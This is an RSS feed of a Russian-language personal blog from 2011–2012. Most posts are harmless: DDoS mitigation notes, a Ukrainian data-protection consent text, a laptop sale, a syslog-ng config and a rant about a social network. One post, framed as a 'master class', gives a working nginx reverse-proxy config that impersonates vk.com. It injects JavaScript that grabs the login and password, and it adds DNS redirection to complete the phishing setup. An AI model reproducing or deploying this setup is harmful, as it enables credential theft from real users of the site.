Виталий Василенко http://vitalvas.com Осознания ответственности - первый шаг к успешной работы Mon, 20 Feb 2012 06:34:30 +0000 ru hourly 1 http://wordpress.org/?v=3.3.1 http://creativecommons.org/licenses/by-nc-nd/2.0/Subscribe with Google?????? ? ??????.????? Как боролся с DDOS атаками http://feedproxy.google.com/~r/VitalVasBlog/~3/gyqLdYr9qBA/ http://vitalvas.com/2012/02/kak-borolsya-s-ddos-atakami/#comments Mon, 20 Feb 2012 06:34:30 +0000 vitalvas http://vitalvas.com/?p=618 Было дело что некоторое время занимался хостингом.
Попадались гады которые ддосили сервер.
Даже такие, которые говорили прямо в коридоре, в глаза «Я там досил твой сервак, и у тебя там база данных падала».

После первого доса поставил мини-мониторинг «monitrc». Этот демон мониторил работу приложений и передергивал если начинались аномалии.
Да это было класно по началу, когда валили быстро и забивали. Но дальше пошло хуже.
Был написан скрипт, который делал анализ работы сервера. Он собирал информацию фактически о всех ресурсах. Делал прогнозы на нагрузки.
Самое интересное то что научил его нормально парсить логи. Фактически все DOS атаки он рубал быстро.
Дальше в ход пошел фаервол. Было установлено лимит в 30 подключении за секунду. Для крупных гадов стояло правило, которое вносило IP в блеклист, лимита в 120 подключении.

Но этого было мало для отсечения DDOS атак.

Как показывает практика, большие DDOS атаки отбить практически не возможно. Даже если погасить порт сервера.

Но хотелось держать небольшую DDOS атаку.

Фронтенд стоял nginx. И было принято решениия написать на перле дополнения к фронтенду. Оно анализировало практически все параметры, что можно было анализировать в пределах умного.

При штатной работе он блокировал запросы без User-agent и всяких виндових ботов. Как только скрипт-аналитик передавал сигнал, что не может справится с аномалиями к nginx, то сразу включался боле глубокий анализ.

Как показала практика, самыми эффективными способами были блокирования по автономке провайдера и по geoip.
При включения углубленного анализу, было сделано так что китай и корея автоматически блокировались.

Для того чтоб DDOS боты начали отваливатся, отсылался заголовок 504 (Шлюз не отвечает). А для тех пользователей, которые попали в бан случайно, был прикручен javascript код, который отрисовувал страницу, на которой сказано что идут тех. работы.

Но от и все.

]]> http://vitalvas.com/2012/02/kak-borolsya-s-ddos-atakami/feed/ 0 http://vitalvas.com/2012/02/kak-borolsya-s-ddos-atakami/ Закон о защите персональных данных добрался до доменов http://feedproxy.google.com/~r/VitalVasBlog/~3/86DfP4MRc7Q/ http://vitalvas.com/2012/02/zakon-o-zashhite-personalnyx-dannyx-dobralsya-do-domenov/#comments Fri, 17 Feb 2012 22:17:40 +0000 vitalvas http://vitalvas.com/?p=631 Зашел на hostmaster для изменения параметра а тут такое

Згода на обробку персональних даних в базі даних Інтернет-сервісу UANIC
Ця згода є юридично обов’язковою угодою.

Я, Реєструючи nic-handle в базі даних Інтернет-сервісу UANIC, надаю свою згоду, на обробку (а саме: збір, накопичення, систематизацію, збереження, уточнення, використання, поширення, знеособлення, блокування, знищення) моїх персональних даних Володільцю бази ТОВ «Хостмайстер», та доручаю Володільцю в разі необхідності повністю або частково опублікувати мої дані, відповідно до діючого регламенту публічного Інтернет-сервісу WHOIS та Умов використання Інтернет-сервісу UANIC.

Надаючи дану згоду, я підтверджую, що беру на себе відповідальність за точність та достовірність моїх персональних даних, вказаних при реєстрації nic-handle, їх своєчасне оновлення, а також зобов’язуюсь дотримуватись та виконувати законодавство України в сфері захисту персональних даних.

Я згоден з тим, що надана мною інформація, відповідно до регламенту публічного Інтернет-сервісу WHOIS та Умов використання Інтернет-сервісу UANIC, може бути отримана третіми особами в будь-який час в порядку, визначеним регламентом публічного Інтернет-сервісу WHOIS та Умовами використання Інтернет-сервісу UANIC. ТОВ «Хостмайстер» має право надавати доступ та передавати мої персональні дані третім особам без будь-яких додаткових повідомлень, не змінюючи при цьому мети їх обробки.

Я згоден, що моя контактна інформація може бути використана в якості контактної інформації в публічному Інтернет-сервісі WHOIS, в тому числі у знеособленому вигляді.

Я підтверджую, що ознайомлений та згоден з тим, що:

Мета обробки
Метою обробки персональних даних є адміністрування адресного простору українського сегменту мережі Інтернет та забезпечення функціонування доменних імен.

Обробка персональних даних
Інформація в базі даних Інтернет-сервісу UANIC обробляється у суворій відповідності до законодавства України щодо захисту персональних даних.

Строк обробки персональних даних
Персональні дані будуть оброблятись тільки на час їх використання для виконання мети Інтернет-сервісу UANIC, та можуть бути знеособлені або знищені у випадках, передбачених умовами використання Інтернет-сервісу UANIC, відповідними регламентами, а також законодавством України.

Знищення персональних данних
Володілець має право, якщо зареєстрований nic-handle не використовується для мети обробки Інтернет-сервісу UANIC не менш ніж 60 (шістдесят) днів видалити його з бази даних Інтернет-сервісу UANIC, а пов’язані з ним персональні дані вважати такими для яких закінчився строк зберігання і відповідно до Закону України «Про захист персональних даних» знищити їх в порядку передбаченому законодавством України щодо захисту персональних даних.

Права суб’єкта персональних даних
Мої права як суб’єкта персональних даних зазначені в статті 8 Закону України «Про захист персональних даних».

Зміст моїх прав як суб’єкта персональних даних відповідно до Закону України «Про захист персональних даних» мені відомий та зрозумілий.

]]> http://vitalvas.com/2012/02/zakon-o-zashhite-personalnyx-dannyx-dobralsya-do-domenov/feed/ 0 http://vitalvas.com/2012/02/zakon-o-zashhite-personalnyx-dannyx-dobralsya-do-domenov/ Для поднятия настроения http://feedproxy.google.com/~r/VitalVasBlog/~3/R4PJGs_1IX8/ http://vitalvas.com/2012/02/dlya-podnyatiya-nastroeniya/#comments Tue, 14 Feb 2012 20:49:41 +0000 vitalvas http://vitalvas.com/?p=610 Извините, не удержался….
Читаем 1 пост и сразу третий

]]> http://vitalvas.com/2012/02/dlya-podnyatiya-nastroeniya/feed/ 2 http://vitalvas.com/2012/02/dlya-podnyatiya-nastroeniya/ Продаю Apple MacBook G4 http://feedproxy.google.com/~r/VitalVasBlog/~3/V9TkLVa-N6w/ http://vitalvas.com/2012/02/prodayu-apple-macbook-g4/#comments Tue, 14 Feb 2012 00:00:14 +0000 vitalvas http://vitalvas.com/?p=591 Купил себе стандартный переходник «mini-DVI to VGA», а он зараза не подходит.
Уже думаю менять на болле новее. А то получается так, что ноутбуки у меня не задержуются больше года.
А так как я это ноутбук купил в конце февраля 2011 года, то уже пришло время менять

Думаю что в описание характеристик нет смысла. Все равно скрины и фото смотреть будете :)

Скриншоты и фото:
123 124 125 126 127 CAM_0002 CAM_0003 CAM_0004 CAM_0006 CAM_0007 zzzz9999

Ну и цены
Переходник: 50грн.
Ноутбук: 2000грн.

]]> http://vitalvas.com/2012/02/prodayu-apple-macbook-g4/feed/ 0 http://vitalvas.com/2012/02/prodayu-apple-macbook-g4/ Зверские штучки http://feedproxy.google.com/~r/VitalVasBlog/~3/tcJCITHFJ5Q/ http://vitalvas.com/2012/02/zverskie-shtuchki/#comments Sat, 11 Feb 2012 14:02:14 +0000 vitalvas http://vitalvas.com/?p=585

А теперь признавайтесь, что больше смотрели на грудь чем слушали что она говорила :)

]]> http://vitalvas.com/2012/02/zverskie-shtuchki/feed/ 2 http://vitalvas.com/2012/02/zverskie-shtuchki/ Фото дня за 02.02.12 http://feedproxy.google.com/~r/VitalVasBlog/~3/5iJUhfSV1ic/ http://vitalvas.com/2012/02/foto-dnya-za-02-02-12/#comments Thu, 02 Feb 2012 19:25:30 +0000 vitalvas http://vitalvas.com/?p=563 Я на работе обедаю. Еле несколько человек доели.

]]> http://vitalvas.com/2012/02/foto-dnya-za-02-02-12/feed/ 2 http://vitalvas.com/2012/02/foto-dnya-za-02-02-12/ Фуб_а! http://feedproxy.google.com/~r/VitalVasBlog/~3/mGqTBvylVY8/ http://vitalvas.com/2012/01/futubra/#comments Tue, 24 Jan 2012 01:01:16 +0000 vitalvas http://vitalvas.com/?p=545 Когда «Mail.Ru Group» анонсировала о выходе проекта — нечто вроде смеси Facebook и Twitter. То я ожидал что-то более…..
И этот проект стартовал с потрясающим названием Futubra. Какому идиоту не нормально одаренному пришло в голову такое название — даже представить сложно. А для англоязычных это названия звучит как «Future bra», что в переводе «будущий лифчик».

Нормальному человеку сказать знакомому «Мой адрес на футубра» — это все равно как признаться в очень альтернативной ориентированности.

Может не все так уж плохо.
Это чудо выглядит от так:



Это нечто напомнило мне такое

- Дашенька, ты готова?
- Сейчас, мамочка, только Фублю возьму.
- Кого?
Дочь выносит из комнаты и показывает матери невероятно омерзительную куклу — страшную, всклюкоченную и перепачканную. Мать, непроизвольно:
- Фу, бля!
- Вот-вот, мамочка, папа тоже куколку так называет.

На данной стадии «ЭТО» в бета-тестирование.

Все записи принудительно умещаются в колонку в 450 пикселов. Количество символов, по твиттерному принципу, ограничено — только не 140, а 200 символами.

Ну и каждая запись может быть, только не ржите:

  • текст
  • фото
  • видео
  • цитата (ужасно выполненная)
  • событие (тут прям громкий ужас, а не тихий)
  • скучно (это что-то психоделическое)

Я вообще в полном офигении. Они сами свою фублю-то видели? Какой жопой думали, когда делали.
Так думаю, что этот стартап — чисто поржать.

Не знаю сколько времени ушло на разработку, но знаю что трудилось 20 человек.
Ребят, вы молодцы! У вАС получился урезаный tumblr.com

]]> http://vitalvas.com/2012/01/futubra/feed/ 2 http://vitalvas.com/2012/01/futubra/ Делаем Syslog сервер http://feedproxy.google.com/~r/VitalVasBlog/~3/en5MhYC8-tc/ http://vitalvas.com/2012/01/delaem-syslog-server/#comments Sat, 07 Jan 2012 15:25:15 +0000 vitalvas http://vitalvas.com/?p=453 Так случилось что нужно было собирать логи из устройств в сети и сортировать по хостам.

Покулупавшись в стандартном приложения для логирования я понял….
Ничего я его не колупал(даже и не думай что здесь такое будет), а просто вбил в гугл «syslog server» и выбрал что понравилось.

Мой выбор пал на syslog-ng. Интересная штука, можно писать даже и у базу(в какую и как смотри доку).

Дальше все было интереснее. Сначала все писалось в файлы по хостам без сортировки по дате. Работало это месяца 2. Здесь прийшла мысля «нада сделать сортировку по дате». Минут 5 гугления и конфиг готов.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@version: 3.1
options {
    long_hostnames(off);
    keep_hostname(yes);
    use_dns(no);
    use_fqdn(no);
    create_dirs(yes);
    dir_perm(0644);
    perm(0644);
};

source df_net {
    udp( ip(0.0.0.0) port(514) );
};

destination df_remote_tag {
    file("/mnt/fs0/syslog/$YEAR/$MONTH/$DAY/$HOST.log");
};

log {
    source(df_net);
    destination(df_remote_tag);
};

На названия можно не обращать внимания т.к. писал их в процессе настройки когда было строк в 3 раза больше

Ну от и все. Все что нужно было сделать сделано. Теперь ждем и радуемся :)

]]> http://vitalvas.com/2012/01/delaem-syslog-server/feed/ 0 http://vitalvas.com/2012/01/delaem-syslog-server/ С днем рождения. Мне 19! http://feedproxy.google.com/~r/VitalVasBlog/~3/D3_rQG3qDDE/ http://vitalvas.com/2012/01/s-dnem-rozhdeniya-mne-19/#comments Wed, 04 Jan 2012 22:00:09 +0000 vitalvas http://vitalvas.com/?p=423

Как быстро время летит. Именно в этот день мне исполнилось 19!

За последний год добился многого:
Нашел работу которая нравится. (А работа должна нравится)
Начал работать на аутсорс.
Наконец сделал себе блог.

Самое обидное это когда тебя вспоминают когда вконтакте даст уведомления или когда что-то нужно. :(

]]> http://vitalvas.com/2012/01/s-dnem-rozhdeniya-mne-19/feed/ 0 http://vitalvas.com/2012/01/s-dnem-rozhdeniya-mne-19/ Делаем сборщики паролей вместо фейков. Мастер-класс http://feedproxy.google.com/~r/VitalVasBlog/~3/ufhn3yBdRE0/ http://vitalvas.com/2012/01/delaem-sborshhiki-parolej-vmesto-fejkov-master-klass/#comments Wed, 04 Jan 2012 03:01:59 +0000 vitalvas http://vitalvas.com/?p=409 Честно говоря меня уже задовбали эти ламеры с фейковими страницами.
Показываю мастер-класс по сбору нужной информации(воровства логина и пароля).

За использования данного материалу в реальной работе дают срок по закону страны. В Украине это статьи 361-363, а особенно прямое отношения 361,362 статьи уголовного кодекса. За последствия не отвечаю!

Первая ошибка в таком действии — это делать псевдо-страницы. Чем то не угодил прокси-сервер?

Для начало выберем прокси. Я остановился на Nginx. Почему он, читай мануал.
Дальше нужно сделать его проксирующим из вставкой нужного кода. Код должен быть javascript-ом в html файле.
Обращаемся в мануал и ищем нужные функции.

От такой получился конфиг

1
2
3
4
5
6
7
8
9
10
11
12
13
server {
listen 80; # на каком порту работает
resolver 8.8.8.8; # нейм-сервер
server_name vk.com; # домен для виртуалхоста
location / {
proxy_set_header accept-encoding "identity"; # no comment
proxy_pass $scheme://$http_host; # куда проксируем
add_after_body /insert.html; # текст файла из которого вставляем в конце страницы
}
location /insert.html { # говорим что файл находится у нас
root /var/www; # где находится этот файл
}
}

Сам файл insert.html выглядит так

1
2
3
4
5
6
<script type="text/javascript" src="http://yandex.st/jquery/1.7.1/jquery.min.js"></script>
<script type="text/javascript">// <![CDATA[
$('#quick_login_button').live('click', function() {
       alert( $('#quick_email').val() + '||' + $('#quick_pass').val()  );
});
// ]]></script>

В этом коде что приведен, идет уведомления в виде «логин||пароль» где пароль открытом виде.

В итоге мы имеем прозрачный прокси для vk.com из вставкой нужного кода. А в нужном коде может быть все что захотите.
Но в этой схеме есть минус — не умеет проксировать SSL трафик.

Осталось только вписать в днс нужный адрес.

]]> http://vitalvas.com/2012/01/delaem-sborshhiki-parolej-vmesto-fejkov-master-klass/feed/ 0 http://vitalvas.com/2012/01/delaem-sborshhiki-parolej-vmesto-fejkov-master-klass/ С новым 2012 годом! http://feedproxy.google.com/~r/VitalVasBlog/~3/PcjgITFG_pY/ http://vitalvas.com/2012/01/s-novym-2012-godom/#comments Sat, 31 Dec 2011 22:00:07 +0000 vitalvas http://vitalvas.com/?p=395


]]> http://vitalvas.com/2012/01/s-novym-2012-godom/feed/ 0 http://vitalvas.com/2012/01/s-novym-2012-godom/ Несколько изменений в блоге http://feedproxy.google.com/~r/VitalVasBlog/~3/kbRGxHozsQg/ http://vitalvas.com/2011/12/neskolko-izmenenij-v-bloge/#comments Mon, 19 Dec 2011 20:50:11 +0000 vitalvas http://vitalvas.com/?p=362 Буду писать так изменения, а то мало кто их замечает.

1) Переезд на другой домен — vitalvas.com
Иметь домен 3-го уровня как-то не в прикол и как-то не профессионально. И плюс до того Yandex не хотел индексировать мой старый домен.

2) Заработал RSS
Наконец-то настроил FeedBurner чтоб нормально снимал ленту. Так что теперь юзайте RSS!

3) Избавился от стартовой страницы.
Избавился от стартовой страницы т.к. она в прицепе не нужна хотя помогала защищаться от ддоса(нужно будет что-то придумать).

4) Скрол-бар(та штука, с помощю которой идет прокрутка страницы) приобрел новою форму. Теперь похожою как google-вских сервисах. Хотя это работает в тех браузерах, где используется движок WebKit. А это Google Chrome и Safari.

5) Установлено лимит времени на комментирования стати.
Теперь у постов, которые старше 20 дней, автоматически отключается возможность вводу комментария.

]]> http://vitalvas.com/2011/12/neskolko-izmenenij-v-bloge/feed/ 4 http://vitalvas.com/2011/12/neskolko-izmenenij-v-bloge/ Нова серия кота Саймона ‘Fowl Play’ http://feedproxy.google.com/~r/VitalVasBlog/~3/ohMlS3o1cP0/ http://vitalvas.com/2011/12/nova-seriya-kota-sajmona-fowl-play/#comments Mon, 19 Dec 2011 15:32:45 +0000 vitalvas http://vitalvas.com/?p=383 Смотрим

]]> http://vitalvas.com/2011/12/nova-seriya-kota-sajmona-fowl-play/feed/ 0 http://vitalvas.com/2011/12/nova-seriya-kota-sajmona-fowl-play/ Как это работает, и не только http://feedproxy.google.com/~r/VitalVasBlog/~3/DGBx3rzOXHE/ http://vitalvas.com/2011/12/kak-eto-rabotaet-i-ne-tolko/#comments Fri, 16 Dec 2011 23:00:37 +0000 vitalvas http://vitalvas.com/?p=360 Природа в цифрах
Короткое, завораживающее видео — геометрия, числа, природа.

Как Google охраняет и хранит наши данные

]]> http://vitalvas.com/2011/12/kak-eto-rabotaet-i-ne-tolko/feed/ 0 http://vitalvas.com/2011/12/kak-eto-rabotaet-i-ne-tolko/ Даже и не верится http://feedproxy.google.com/~r/VitalVasBlog/~3/YO3IELLyJyM/ http://vitalvas.com/2011/12/dazhe-i-ne-veritsya/#comments Fri, 16 Dec 2011 23:00:09 +0000 vitalvas http://vitalvas.com/?p=356 Люди в черном 3

Мадагаскар 3

Путешествие 2: Таинственный остров.

]]> http://vitalvas.com/2011/12/dazhe-i-ne-veritsya/feed/ 0 http://vitalvas.com/2011/12/dazhe-i-ne-veritsya/